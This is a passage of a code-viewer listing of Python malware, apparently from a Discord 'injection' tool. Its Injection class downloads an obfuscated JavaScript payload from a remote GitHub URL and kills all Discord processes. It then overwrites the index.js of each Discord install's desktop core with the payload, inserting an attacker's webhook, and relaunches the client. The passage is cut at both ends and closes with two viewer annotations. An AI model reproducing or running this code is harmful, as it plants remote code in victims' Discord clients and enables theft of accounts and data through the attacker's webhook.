(self, webhook: str)
| 8 | |
| 9 | class Injection: |
| 10 | def __init__(self, webhook: str) -> None: |
| 11 | self.appdata = os.getenv('LOCALAPPDATA') |
| 12 | self.discord_dirs = [ |
| 13 | self.appdata + '\\Discord', |
| 14 | self.appdata + '\\DiscordCanary', |
| 15 | self.appdata + '\\DiscordPTB', |
| 16 | self.appdata + '\\DiscordDevelopment' |
| 17 | ] |
| 18 | self.code = requests.get( |
| 19 | 'https://raw.githubusercontent.com/addi00000/empyrean-injection/main/obfuscated.js').text |
| 20 | |
| 21 | for proc in psutil.process_iter(): |
| 22 | if 'discord' in proc.name().lower(): |
| 23 | proc.kill() |
| 24 | |
| 25 | for dir in self.discord_dirs: |
| 26 | if not os.path.exists(dir): |
| 27 | continue |
| 28 | |
| 29 | if self.get_core(dir) is not None: |
| 30 | with open(self.get_core(dir)[0] + '\\index.js', 'w', encoding='utf-8') as f: |
| 31 | f.write((self.code).replace('discord_desktop_core-1', |
| 32 | self.get_core(dir)[1]).replace('%WEBHOOK%', webhook)) |
| 33 | self.start_discord(dir) |
| 34 | |
| 35 | def get_core(self, dir: str) -> tuple: |
| 36 | for file in os.listdir(dir): |
nothing calls this directly
no test coverage detected